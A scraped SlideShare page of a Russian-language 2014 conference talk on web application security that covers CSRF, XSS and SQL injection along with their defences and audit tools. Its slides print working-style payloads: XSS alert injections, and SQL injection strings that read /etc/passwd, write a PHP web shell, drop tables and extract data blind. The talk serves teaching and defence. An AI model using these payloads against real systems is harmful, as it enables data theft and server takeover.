SlideShare a Scribd company logo
Web application
security
Максим Кочкин
OWASP TOP-10 (2013)
1. Injection
2. Broken Authentication and Session Management
3. Cross-Site Scripting (XSS)
4. Insecure Direct Object References
5. Security Misconfiguration
6. Sensitive Data Exposure
7. Missing Function Level Access Control
8. Cross-Site Request Forgery (CSRF)
9. Using Components with Known Vulnerabilities
10. Unvalidated Redirects and Forwards
Сводная статистика по распространенности угроз
Угроза Подвержено сайтов, %
WhiteHat
(2013)
Cenzic (2013)
Contextis
(2013)
Avg
XSS 53 60 56 56
SQL Injection 7 20 14 14
CSRF 26 22 34 27
Information Leakage 55 36 60 50
Authentication & authorization
11 56 60 42
Реальность от WHID (март 2014)
Атака От общего числа, %
XSS 7
SQL Injection 18
CSRF 2
Denial of Service 20
Brute Force 4
https://www.google.com/fusiontables/data?docid=1Uk2Fs373gG-yV4LbQsvoRQg7K_2gpLs5ZydpxA
CSRF
Exploitability AVERAGE
Prevalence COMMON
Detectability EASY
Impact MODERATE
Cross-Site Request Forgery
(WASC-09)
Атака, при которой жертва без согласия
выполняет от своего имени запрос.
Другими словами, атакующий может
управлять некоторыми действиями жертвы в
свою пользу.
Cross-Site Request Forgery
Атака
● на сайте есть действие «подарить подарок»
● действие выполняется ajax-запросом при клике по
ссылке, параметр — id получателя
● но на самом деле достаточно обычного GET-запроса
● жертве подбрасывается ссылка
- напрямую: в мессенджере, в блоге, по почте, …
- укороченная — скрыть payload
- на сайте атакующего: картинка или
подготовленная форма
Cross-Site Request Forgery
Атака, простейшие варианты
GET http://goo.gl/d0LUAg
<img src="[GET request]">
<form action="[url]" method="post">...</form>
<script>form.submit()</script>
Cross-Site Request Forgery
Простые правила
GET — только для получения данных
Для изменения данных — POST, PUT, DELETE
(это не защита!)
Cross-Site Request Forgery
Защита
Ненадежные способы
● принимать только POST
● HTTP_REFERER
● подтверждение вторым запросом
● многошаговый процесс
Cross-Site Request Forgery
Защита
● токен
- сессионный токен (Synchronizer Token)
- двойная отправка куки (Double Submit Cookies)
- зашифрованный токен (Encrypted Token)
● подтверждение (пароль, капча)
● Origin (request header) (не путать с CORS)
[https://wiki.mozilla.org/Security/Origin]
- iframe, embed, applet, script, form, XHR, redirect
Cross-Site Request Forgery
Аудит
● w3af [http://w3af.org/plugins/audit/csrf] — только
схема с куками.
● Arachni [http://www.arachni-scanner.com/] — 4-
этапная проверка, умеет отличать формы,
которые отображаются только для залогиненных
юзеров, проверяет куки и токены.
● Руками и глазами.
Cross-Site Request Forgery
Logout
CSRF на logout? R U serious? Ahahaha!
Oh, wait…
http://superlogout.com/
Я знаю как минимум один сайт, для которого
это — реальная проблема: odnoklassniki.ru :)
XSS
Exploitability AVERAGE
Prevalence VERY WIDESPREAD
Detectability EASY
Impact MODERATE
Cross-Site Scripting
(WASC-08)
Атака, при которой атакующий через уязвимость
заставляет выполняться свой код в браузере
жертвы.
Браузер может быть встроен в ПО и иметь доступ
к его компонентам.
Обычно код — JS, но также возможно выполнение
VBScript, ActiveX, Java, Flash и других
поддерживаемых браузером технологий.
Cross-Site Scripting
Угроза
● фишинг
● кража сессии (если куки не httponly)
● кража пользовательских данных жертвы со
страниц
● выполнение нежелательных действий от
имени жертвы (обход CSRF-защиты)
Cross-Site Scripting
Типы
● TYPE 1 — отражённая (non-persistent,
reflected)
● TYPE 2 — хранимая (persistent, stored)
● TYPE 0 — DOM-based
Cross-Site Scripting
TYPE 1, отражённая
● формируется запрос с пользовательскими
данными userdata
● в ответе данные userdata встраиваются в HTML
без надлежащей фильтрации
Чаще всего это
● заполнение полей формы в случае ошибки
● вывод поискового текста в форме поиска
Cross-Site Scripting
TYPE 1, отражённая
<div id="pager">
<a href="{{url}}">{{pageNum}}</a>
</div>
GET /search.php?a=A"><script>alert("xss")</script>
<div id="pager">
<a href="/search.php?a=A">
<script>alert("xss")</script>&p=42">42
</a>
</div>
Cross-Site Scripting
TYPE 1, отражённая
<div id="pager">
<a href="{{url}}">{{pageNum}}</a>
</div>
GET /search.php?a=A"><script>alert("xss")</script>
<div id="pager">
<a href="/search.php?a=A">
<script>alert("xss")</script>&p=42">42
</a>
</div>
Cross-Site Scripting
TYPE 1, отражённая
<div id="pager">
<a href="{{url}}">{{pageNum}}</a>
</div>
GET /search.php?a=A"><script>alert("xss")</script>
<div id="pager">
<a href="/search.php?a=A">
<script>alert("xss")</script>&p=42">42
</a>
</div>
Cross-Site Scripting
TYPE 2, хранимая
● пользовательские данные сохраняются в БД
без надлежащей фильтрации
● в дальнейшем эти данные выводятся на
HTML страницу из БД без надлежащей
фильтрации
Cross-Site Scripting
TYPE 2, хранимая
url=x" onerror=alert("xss")
<div id="post-100500">
Дорогой дневничок!
<img src="x" onerror=alert("xss")">
</div>
Cross-Site Scripting
TYPE 2, хранимая
url=x" onerror=alert("xss")
<div id="post-100500">
Дорогой дневничок!
<img src="x" onerror=alert("xss")">
</div>
Cross-Site Scripting
TYPE 3, DOM-based
Атака полностью реализуется на клиенте без
участия сервера
● пользователь вводит данные в URL или на
страницу (формы)
● эти данные используются клиентом (JS
приложением) для построения HTML страницы
без надлежащей фильтрации
Cross-Site Scripting
TYPE 3, DOM-based
var pos=document.URL.indexOf("name=")+5;
var r=document.URL.substring(pos,document.URL.length)
document.write('<b>Hello, '+r+'!</b>');
GET /domxss/?#name=<img src=x onerror=alert("xss")>
Hello, <img src=x onerror=alert("xss")>!
Cross-Site Scripting
TYPE 3, DOM-based
var pos=document.URL.indexOf("name=")+5;
var r=document.URL.substring(pos,document.URL.length)
document.write('<b>Hello, '+r+'!</b>');
GET /domxss/?#name=<img src=x onerror=alert("xss")>
Hello, <img src=x onerror=alert("xss")>!
Cross-Site Scripting
TYPE 3, DOM-based
var pos=document.URL.indexOf("name=")+5;
var r=document.URL.substring(pos,document.URL.length)
document.write('Hello, '+r+'!');
GET /domxss/?#name=<img src=x onerror=alert("xss")>
Hello, <img src=x onerror=alert("xss")>!
Cross-Site Scripting
Меры предотвращения
Правила OWASP
https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
ESAPI (The OWASP Enterprise Security API)
https://code.google.com/p/owasp-esapi-java/
https://code.google.com/p/owasp-esapi-php/
https://code.google.com/p/owasp-esapi-python/
httponly куки
CSP (Content Security Policy)
Cross-Site Scripting
CSP
CSP — Content Security Policy [Google, Mozilla]
http://w3c.github.io/webappsec/specs/content-security-policy/csp-specification.dev.html
Кто уже поддерживает?
http://caniuse.com/#feat=contentsecuritypolicy
Кто уже использует? (из alexa top-25)
- mail.yandex.ru, e.mail.ru, facebook.com
Cross-Site Scripting
CSP: пример
HTTP Response Header
Content-Security-Policy:
default-src 'none'
script-src 'self' http://*.my.com apis.google.com;
style-src http://static.mysite.com:81;
img-src *://cdn.somecdn.com;
connect-src 'self' http://api.mysite.com;
object-src 'none';
report-uri /report_endpoint;
Cross-Site Scripting
Аудит
OWASP ZAP
[https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project]
прокси с последующим анализом логов.
OWASP XSSer [https://www.owasp.org/index.php/OWASP_XSSER]
очень умный, гибко настраивается, многое умеет.
w3af [http://w3af.org/plugins/audit/xss]
SQL Injection
Exploitability EASY
Prevalence COMMON
Detectability AVERAGE
Impact SEVERE
SQL Injection
(WASC-19)
Атака на ПО, использующее входные данные
для построения SQL-запросов,
при которой атакующий изменяет логику
выполнения SQL-запроса к БД.
В некоторых случаях атака способна привести
к выполнению команд ОС и захвату системы.
SQL Injection
Простейший пример
$q = "SELECT * FROM table WHERE id={$_GET['id']}";
query($q);
GET http://site.com/query.php?id=1 OR 1=1
// SELECT * FROM table WHERE id=1 OR 1=1
// Хуже только query($_GET['q'])
SQL Injection
Простейший пример
$q = "SELECT * FROM table WHERE id={$_GET['id']}";
query($q);
GET http://site.com/query.php?id=1 OR 1=1
// SELECT * FROM table WHERE id=1 OR 1=1
// Хуже только query($_GET['q'])
SQL Injection
Схема атаки
● поиск точки, использующей
пользовательские данные в SQL-запросе
● выполнение фингерпринтинга СУБД
● поиск уязвимости, позволяющей выполнить
атаку
● эксплуатация уязвимости
SQL Injection
Фингерпринтинг СУБД
● сообщения об ошибках на страницах
● баннер (version(), @@version)
- SELECT version() --> 5.6.12-56
● диалект SQL
- MySQL: WHERE id = 1 /*!50067 AND 47=47 */
- PostgreSQL: AND 82::int=82
● поведение некоторых функций
● вакансии или собеседование :)
SQL Injection
Эксплуатация
Типы
● обычная инъекция — по выводимым ошибкам
● инъекция вслепую (Blind Injection) — вывод ошибок
отключен
Техники
● UNION
● batched запросы
● boolean-based blind
● time-based blind
SQL Injection
Примеры: UNION (full flaw)
SELECT a, b, c FROM table WHERE id={$id}
query.php?id=1 and 1=1 -- OK
query.php?id=1 and 1=2 -- error
SQL Injection
Примеры: UNION (full flaw)
SELECT a, b, c FROM table WHERE id={$id}
query.php?id=1 order by 1 -- OK
query.php?id=1 order by 2 -- OK
query.php?id=1 order by 3 -- OK
query.php?id=1 order by 4 -- error!
SQL Injection
Примеры: UNION (full flaw)
SELECT a, b, c FROM table WHERE id={$id}
query.php?id=1
Name: Maksim [ksimka]
Age: 28
query.php?id=-1 union all select 1, 2, 3
Name: 1 [2]
Age: 3
SQL Injection
Примеры: UNION (full flaw)
SELECT a, b, c FROM table WHERE id={$id}
query.php?id=1
Name: Maksim [ksimka]
Age: 28
query.php?id=-1 union all select 1, 2, 3
Name: 1 [2]
Age: 3
SQL Injection
Примеры: UNION (full flaw)
SELECT a, b, c FROM table WHERE id={$id}
query.php?id=-1 union all select version(), user(), database()
Name: 5.0.0-42 [root@localhost]
Age: Main
SQL Injection
Примеры: UNION (full flaw)
SELECT a FROM table WHERE id={$id}
query.php?id=-1 union all select
concat(version(),char(58),user(),char(58),database())
Name: 5.0.0-42:root@localhost:Main
SQL Injection
Примеры: UNION (full flaw)
SELECT a FROM table WHERE id={$id}
query.php?id=-1 union all select
load_file('/etc/passwd')
query.php?id=-1
union all select '<?php system($_GET["cmd"]); ?>'
into outfile '/www/cmd.php'
SQL Injection
Примеры: batched queries
SELECT a FROM table WHERE id={$id}
query.php?id=1;drop table ...
query.php?id=1;drop user ...
query.php?id=1;create user ...
query.php?id=1;grant all privileges on ...
query.php?id=1;select ... into outfile ...
SQL Injection
Примеры: boolean-based blind
SELECT a FROM table WHERE id={$id}
query.php?id=1 and ord(mid((select schema_name from
information_schema.schemata limit 1 offset D), N, 1)) > A
D — номер БД в таблице schemata
N — номер очередного символа
A — ASCII-код символа
select schema_name from information_schema.schemata — имя БД
mid(dbname, N, 1) — один символ имени
ord(char) — ASCII-код, удобнее сравнивать
SQL Injection
Примеры: time-based blind (double blind)
SELECT a FROM table WHERE id={$id}
query.php?id=1 or if(ord(mid((select schema_name from
information_schema.schemata limit 1 offset D), N, 1)) > A,
sleep(S), true)
S — в зависимости от нормального времени отклика сайта
Основа — как в boolean-based blind
if (bingo, sleep(S), true) — если bingo, то +S секунд
к отклику
SQL Injection
Защита и превентивные меры
● связывание параметров (prepared statements,
биндинг, параметризованные запросы) с
экранированием значений
- SELECT * FROM table WHERE columna=? AND columnb=?
● файрволлы (детекция попыток фингерпринтинга и
эксплуатаций) — NAXSI, ModSecurity
● разграничение прав доступа
- user: SELECT, INSERT, UPDATE, …
- superuser: CREATE, DROP, ALTER, …
● валидация и фильтрация всего :)
SQL Injection
Аудит
sqlmap [http://sqlmap.org/] — умеет всё.
MySQL, Oracle, PostgreSQL, Microsoft SQL Server, …
Знает массу техник исследования и эксплуатации.
Да, умеет полноценно эксплуатировать вплоть до
сливания полного дампа БД.
Вряд ли вам понадобится другой инструмент.
Зачем нам всё это знать?
Чтобы понимать: одна маленькая ошибка может
стоить бесконечно дорого.
Чтобы понимать, откуда ВНЕЗАПНО может прийти
беда.
Чтобы уметь разрабатывать инструменты
противодействия.
Чтобы уметь пользоваться инструментами и писать
безопасный код.
Ну и просто потому что это круто :)
P.S.
Bug bounty программы
Когда у тебя огромная кодовая база, изменяющаяся с
дикой скоростью, невозможно уследить за всем.
Bug bounty программа хорошо конвертирует blackhats в
whitehats.
Список таких программ
https://bugcrowd.com/list-of-bug-bounty-programs/
Вознаграждения — от маечки до $20000 и больше
(например, у Facebook нет верхней границы)
Wamba Bug Bounty
http://corp.wamba.com/ru/developer/security/
Вознаграждения
● критичные сервисы — от 5 000 до 100 000 руб.
● прочие сервисы — от 3 000 до 25 000 руб.
● зал славы
http://corp.wamba.com/ru/
m.kochkin@wamba.com
@m_ksimka
Апрель 2014
Приложение
Атаки на браузеры
http://html5sec.org/
Теперь не только <script> и <img onerror/>
Сотни способов выполнить js-код на клиенте, используя баги
или особенности работы с HTML в некоторых браузерах.
Атаки на браузеры
cookie-bomb (by @homakov)
http://homakov.blogspot.ru/2014/01/cookie-bomb-or-lets-break-internet.html
RFC2109: A Set-Cookie from request-host x.foo.com for
Domain=.foo.com would be accepted.
Если я могу выполнять код на x.foo.com, я могу ставить
куки на .foo.com.
1 кука = 4кБ, а мы можем поставить сотни кук.
400кБ+ заголовков — веб-сервер просто не отвечает.
Итого: DoS сервиса (не всего, для юзера) куками
Социальная инженерия
Self-XSS
https://www.facebook.com/selfxss
Социальная инженерия
Chunkhost и Sendgrid (март 2014)
https://chunkhost.com/blog/15/huge_security_hole_in_sendgrid
Как в старые добрые времена
● хакер покупает домен chunkhost.info
● звонит в поддержку sendgrid и просит сменить мыло
support@chunkhost.com
● на support@chunkhost.info, поддержка говорит ОК (wtf?)
● хакер включает в sendgrid фичу BCC, инициирует сброс паролей
пары акков на chunkhost, получает копию писем со ссылкой для
сброса
● аккаунты и слив репутации chunkhost спасает только
двухфакторная аутентификация на этих акках
Социальная инженерия
CSS-Tricks и Media Temple (март 2014)
http://shoptalkshow.com/episodes/special-one-one-hacker/
Как в еще более старые добрые времена
● хакер звонит в поддержку MT и просит поменять email от акка
Криса, потому что, якобы, не помнит его
● поддержка говорит «ок, только пришлите скан своих документов»
● хакер подделывает документы и получает акк (sic!)
● кроме этого захватывает пачку других сайтов
● чувак говорит, что мог бы захватить jquery.com (тоже хостится на
MT) и заразить исходники, которые используются на тысячах
сайтов
● еще чувак говорит, что ничего не понимает в этих ваших sql-
инъекциях и прочей ерунде, но ему это и не нужно :)
Github, пароли в репозиториях
DB config (PHP)
https://github.com/search?q=define%28%22DB_PASSWORD%22&ref=searchresults&type=Code
≈60000
AWS private key
https://github.com/search?q=AKIAJ&type=Code&ref=searchresults
≈1000
RSA private key
https://github.com/search?o=desc&q=%22RSA+PRIVATE+KEY---
%22&ref=searchresults&s=indexed&type=Code
≈44000
DOM-based XSS
https://code.google.com/p/domxsswiki/
http://www.domxss.com/domxss/
SQL Injection
http://websec.ca/kb/sql_injection
http://www.sqlinjectionwiki.com/
http://www.blackhatlibrary.net/SQL_injection
http://www.troyhunt.com/2013/07/everything-you-wanted-to-know-about-
sql.html
Потренироваться
http://testphp.vulnweb.com (Acunetix)
http://testasp.vulnweb.com (Acunetix)
http://testaspnet.vulnweb.com (Acunetix)
http://testhtml5.vulnweb.com/ (Acunetix)
http://demo.testfire.net (IBM)
http://zero.webappsecurity.com (HP)
http://crackme.cenzic.com (Cenzic)
http://www.webscantest.com (NTO)
http://www.dvwa.co.uk/ (RandomStorm, offline)
https://code.google.com/p/webgoat/ (OWASP, offline)

More Related Content

PPTX
А не поговорить ли нам о XSS!
PPTX
тестирование защищенности веб приложений
PPTX
Атаки на web-приложения. Основы
PPTX
Тестирование уязвимостей веб приложений
PPTX
Application security? Firewall it!
PDF
Pt devteev-risspa
PDF
Risspa domxss
PPTX
Sql инъекции в тестировании
А не поговорить ли нам о XSS!
тестирование защищенности веб приложений
Атаки на web-приложения. Основы
Тестирование уязвимостей веб приложений
Application security? Firewall it!
Pt devteev-risspa
Risspa domxss
Sql инъекции в тестировании

What's hot (19)

PPT
Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях
KEY
Безопасность веб-приложений: starter edition
PDF
Безопасность Drupal сайтов
PPT
Безопасность веб-приложений. Так ли опасна виртуальная угроза?
PPTX
Тестирование на проникновение в сетях Microsoft
PPT
безопасность веб приложений сегодня. дмитрий евтеев. зал 4
PPT
Безопасность веб-приложений сегодня
PPTX
XSS. Обходы фильтров и защит.
PPTX
KazHackStan - "><script>alert()</script>
PPT
PT MIFI Labxss
PPTX
Как взламывают сети государственных учреждений
PDF
Е. Фиделин Безопасность Drupal сайтов
PDF
ЄВГЕНІЙ ТОЛЧИНСКИЙ «Як manual QA може протестувати проект з боку security» QA...
PDF
Как мануальный тестировщик может базово протестировать безопасность, Евгений ...
PPTX
Тестирование на проникновение в сетях Microsoft (v.2)
PPT
ярослав рабоволюк
PPTX
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
PDF
Где прячутся мобильные вирусы — Григорий Земсков
PDF
Доклад Станислава Еремина на конференции LoveQA. "Системы обнаружения уязвимо...
Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях
Безопасность веб-приложений: starter edition
Безопасность Drupal сайтов
Безопасность веб-приложений. Так ли опасна виртуальная угроза?
Тестирование на проникновение в сетях Microsoft
безопасность веб приложений сегодня. дмитрий евтеев. зал 4
Безопасность веб-приложений сегодня
XSS. Обходы фильтров и защит.
KazHackStan - "><script>alert()</script>
PT MIFI Labxss
Как взламывают сети государственных учреждений
Е. Фиделин Безопасность Drupal сайтов
ЄВГЕНІЙ ТОЛЧИНСКИЙ «Як manual QA може протестувати проект з боку security» QA...
Как мануальный тестировщик может базово протестировать безопасность, Евгений ...
Тестирование на проникновение в сетях Microsoft (v.2)
ярослав рабоволюк
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
Где прячутся мобильные вирусы — Григорий Земсков
Доклад Станислава Еремина на конференции LoveQA. "Системы обнаружения уязвимо...
Ad

Viewers also liked (20)

PDF
Application Security around OWASP Top 10
PPTX
Owasp web security
PPTX
Web application Security
PDF
OWASP Top 10 Overview
PDF
End to end web security
PDF
Web security: OWASP project, CSRF threat and solutions
PDF
Secure Password Storage & Management
PDF
Threat Modeling for Web Applications (and other duties as assigned)
PPTX
[Wroclaw #1] Android Security Workshop
PPT
Owasp Top 10
PDF
Web Security - OWASP - SQL injection & Cross Site Scripting XSS
PDF
Android Security Development - Part 2: Malicious Android App Dynamic Analyzi...
PPTX
[Wroclaw #5] OWASP Projects: beyond Top 10
PDF
Consulthink @ GDG Meets U - L'Aquila2014 - Codelab: Android Security -Il ke...
PDF
2015.04.24 Updated > Android Security Development - Part 1: App Development
ODP
Top 10 Web Security Vulnerabilities
PDF
Android Security & Penetration Testing
PDF
Deep Dive Into Android Security
PDF
Testing Android Security Codemotion Amsterdam edition
PDF
Brief Tour about Android Security
Application Security around OWASP Top 10
Owasp web security
Web application Security
OWASP Top 10 Overview
End to end web security
Web security: OWASP project, CSRF threat and solutions
Secure Password Storage & Management
Threat Modeling for Web Applications (and other duties as assigned)
[Wroclaw #1] Android Security Workshop
Owasp Top 10
Web Security - OWASP - SQL injection & Cross Site Scripting XSS
Android Security Development - Part 2: Malicious Android App Dynamic Analyzi...
[Wroclaw #5] OWASP Projects: beyond Top 10
Consulthink @ GDG Meets U - L'Aquila2014 - Codelab: Android Security -Il ke...
2015.04.24 Updated > Android Security Development - Part 1: App Development
Top 10 Web Security Vulnerabilities
Android Security & Penetration Testing
Deep Dive Into Android Security
Testing Android Security Codemotion Amsterdam edition
Brief Tour about Android Security
Ad

Similar to Web application security (RIT 2014, rus) (20)

PPT
PT MIFI Labxss
PPTX
Информационная безопасность в аспекте веб-разработки
PPTX
Security testing
PDF
(Не)безопасный frontend
PPT
Информационная безопасность и web-приложения
PPTX
QA Fest 2015. Юрий Федько. XSS - от простого к сложному!
ODP
AJAX Security
PPT
PDF
(Не)безопасный Frontend / Сергей Белов (Digital Security)
ODP
безопасность Ajax приложений александр капранов
PPTX
СВЯТ ЛОГИН «OWASP TOP 10 2021» Online QADay 2021
DOC
PT MIFI Labxss
PPTX
Svyatoslav Login
PDF
Как мануальный тестировщик может базово протестировать безопасность, Евгений ...
PDF
Ihor Bliumental – Is There Life Outside OWASP Top-10
PPTX
Иван Чалыкин (Россия), Digital Security. Легальный SOP Bypass. Проблемы внедр...
PPTX
RIW 2017 | Все плохо
PPTX
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
PPTX
Эволюция атак на веб приложения (Evolution of web applications attacks)
PPT
Web весна 2012 лекция 11
PT MIFI Labxss
Информационная безопасность в аспекте веб-разработки
Security testing
(Не)безопасный frontend
Информационная безопасность и web-приложения
QA Fest 2015. Юрий Федько. XSS - от простого к сложному!
AJAX Security
(Не)безопасный Frontend / Сергей Белов (Digital Security)
безопасность Ajax приложений александр капранов
СВЯТ ЛОГИН «OWASP TOP 10 2021» Online QADay 2021
PT MIFI Labxss
Svyatoslav Login
Как мануальный тестировщик может базово протестировать безопасность, Евгений ...
Ihor Bliumental – Is There Life Outside OWASP Top-10
Иван Чалыкин (Россия), Digital Security. Легальный SOP Bypass. Проблемы внедр...
RIW 2017 | Все плохо
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
Эволюция атак на веб приложения (Evolution of web applications attacks)
Web весна 2012 лекция 11

Web application security (RIT 2014, rus)

  • 2. OWASP TOP-10 (2013) 1. Injection 2. Broken Authentication and Session Management 3. Cross-Site Scripting (XSS) 4. Insecure Direct Object References 5. Security Misconfiguration 6. Sensitive Data Exposure 7. Missing Function Level Access Control 8. Cross-Site Request Forgery (CSRF) 9. Using Components with Known Vulnerabilities 10. Unvalidated Redirects and Forwards
  • 3. Сводная статистика по распространенности угроз Угроза Подвержено сайтов, % WhiteHat (2013) Cenzic (2013) Contextis (2013) Avg XSS 53 60 56 56 SQL Injection 7 20 14 14 CSRF 26 22 34 27 Information Leakage 55 36 60 50 Authentication & authorization 11 56 60 42
  • 4. Реальность от WHID (март 2014) Атака От общего числа, % XSS 7 SQL Injection 18 CSRF 2 Denial of Service 20 Brute Force 4 https://www.google.com/fusiontables/data?docid=1Uk2Fs373gG-yV4LbQsvoRQg7K_2gpLs5ZydpxA
  • 6. Cross-Site Request Forgery (WASC-09) Атака, при которой жертва без согласия выполняет от своего имени запрос. Другими словами, атакующий может управлять некоторыми действиями жертвы в свою пользу.
  • 7. Cross-Site Request Forgery Атака ● на сайте есть действие «подарить подарок» ● действие выполняется ajax-запросом при клике по ссылке, параметр — id получателя ● но на самом деле достаточно обычного GET-запроса ● жертве подбрасывается ссылка - напрямую: в мессенджере, в блоге, по почте, … - укороченная — скрыть payload - на сайте атакующего: картинка или подготовленная форма
  • 8. Cross-Site Request Forgery Атака, простейшие варианты GET http://goo.gl/d0LUAg <img src="[GET request]"> <form action="[url]" method="post">...</form> <script>form.submit()</script>
  • 9. Cross-Site Request Forgery Простые правила GET — только для получения данных Для изменения данных — POST, PUT, DELETE (это не защита!)
  • 10. Cross-Site Request Forgery Защита Ненадежные способы ● принимать только POST ● HTTP_REFERER ● подтверждение вторым запросом ● многошаговый процесс
  • 11. Cross-Site Request Forgery Защита ● токен - сессионный токен (Synchronizer Token) - двойная отправка куки (Double Submit Cookies) - зашифрованный токен (Encrypted Token) ● подтверждение (пароль, капча) ● Origin (request header) (не путать с CORS) [https://wiki.mozilla.org/Security/Origin] - iframe, embed, applet, script, form, XHR, redirect
  • 12. Cross-Site Request Forgery Аудит ● w3af [http://w3af.org/plugins/audit/csrf] — только схема с куками. ● Arachni [http://www.arachni-scanner.com/] — 4- этапная проверка, умеет отличать формы, которые отображаются только для залогиненных юзеров, проверяет куки и токены. ● Руками и глазами.
  • 13. Cross-Site Request Forgery Logout CSRF на logout? R U serious? Ahahaha! Oh, wait… http://superlogout.com/ Я знаю как минимум один сайт, для которого это — реальная проблема: odnoklassniki.ru :)
  • 14. XSS Exploitability AVERAGE Prevalence VERY WIDESPREAD Detectability EASY Impact MODERATE
  • 15. Cross-Site Scripting (WASC-08) Атака, при которой атакующий через уязвимость заставляет выполняться свой код в браузере жертвы. Браузер может быть встроен в ПО и иметь доступ к его компонентам. Обычно код — JS, но также возможно выполнение VBScript, ActiveX, Java, Flash и других поддерживаемых браузером технологий.
  • 16. Cross-Site Scripting Угроза ● фишинг ● кража сессии (если куки не httponly) ● кража пользовательских данных жертвы со страниц ● выполнение нежелательных действий от имени жертвы (обход CSRF-защиты)
  • 17. Cross-Site Scripting Типы ● TYPE 1 — отражённая (non-persistent, reflected) ● TYPE 2 — хранимая (persistent, stored) ● TYPE 0 — DOM-based
  • 18. Cross-Site Scripting TYPE 1, отражённая ● формируется запрос с пользовательскими данными userdata ● в ответе данные userdata встраиваются в HTML без надлежащей фильтрации Чаще всего это ● заполнение полей формы в случае ошибки ● вывод поискового текста в форме поиска
  • 19. Cross-Site Scripting TYPE 1, отражённая <div id="pager"> <a href="{{url}}">{{pageNum}}</a> </div> GET /search.php?a=A"><script>alert("xss")</script> <div id="pager"> <a href="/search.php?a=A"> <script>alert("xss")</script>&p=42">42 </a> </div>
  • 20. Cross-Site Scripting TYPE 1, отражённая <div id="pager"> <a href="{{url}}">{{pageNum}}</a> </div> GET /search.php?a=A"><script>alert("xss")</script> <div id="pager"> <a href="/search.php?a=A"> <script>alert("xss")</script>&p=42">42 </a> </div>
  • 21. Cross-Site Scripting TYPE 1, отражённая <div id="pager"> <a href="{{url}}">{{pageNum}}</a> </div> GET /search.php?a=A"><script>alert("xss")</script> <div id="pager"> <a href="/search.php?a=A"> <script>alert("xss")</script>&p=42">42 </a> </div>
  • 22. Cross-Site Scripting TYPE 2, хранимая ● пользовательские данные сохраняются в БД без надлежащей фильтрации ● в дальнейшем эти данные выводятся на HTML страницу из БД без надлежащей фильтрации
  • 23. Cross-Site Scripting TYPE 2, хранимая url=x" onerror=alert("xss") <div id="post-100500"> Дорогой дневничок! <img src="x" onerror=alert("xss")"> </div>
  • 24. Cross-Site Scripting TYPE 2, хранимая url=x" onerror=alert("xss") <div id="post-100500"> Дорогой дневничок! <img src="x" onerror=alert("xss")"> </div>
  • 25. Cross-Site Scripting TYPE 3, DOM-based Атака полностью реализуется на клиенте без участия сервера ● пользователь вводит данные в URL или на страницу (формы) ● эти данные используются клиентом (JS приложением) для построения HTML страницы без надлежащей фильтрации
  • 26. Cross-Site Scripting TYPE 3, DOM-based var pos=document.URL.indexOf("name=")+5; var r=document.URL.substring(pos,document.URL.length) document.write('<b>Hello, '+r+'!</b>'); GET /domxss/?#name=<img src=x onerror=alert("xss")> Hello, <img src=x onerror=alert("xss")>!
  • 27. Cross-Site Scripting TYPE 3, DOM-based var pos=document.URL.indexOf("name=")+5; var r=document.URL.substring(pos,document.URL.length) document.write('<b>Hello, '+r+'!</b>'); GET /domxss/?#name=<img src=x onerror=alert("xss")> Hello, <img src=x onerror=alert("xss")>!
  • 28. Cross-Site Scripting TYPE 3, DOM-based var pos=document.URL.indexOf("name=")+5; var r=document.URL.substring(pos,document.URL.length) document.write('Hello, '+r+'!'); GET /domxss/?#name=<img src=x onerror=alert("xss")> Hello, <img src=x onerror=alert("xss")>!
  • 29. Cross-Site Scripting Меры предотвращения Правила OWASP https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet ESAPI (The OWASP Enterprise Security API) https://code.google.com/p/owasp-esapi-java/ https://code.google.com/p/owasp-esapi-php/ https://code.google.com/p/owasp-esapi-python/ httponly куки CSP (Content Security Policy)
  • 30. Cross-Site Scripting CSP CSP — Content Security Policy [Google, Mozilla] http://w3c.github.io/webappsec/specs/content-security-policy/csp-specification.dev.html Кто уже поддерживает? http://caniuse.com/#feat=contentsecuritypolicy Кто уже использует? (из alexa top-25) - mail.yandex.ru, e.mail.ru, facebook.com
  • 31. Cross-Site Scripting CSP: пример HTTP Response Header Content-Security-Policy: default-src 'none' script-src 'self' http://*.my.com apis.google.com; style-src http://static.mysite.com:81; img-src *://cdn.somecdn.com; connect-src 'self' http://api.mysite.com; object-src 'none'; report-uri /report_endpoint;
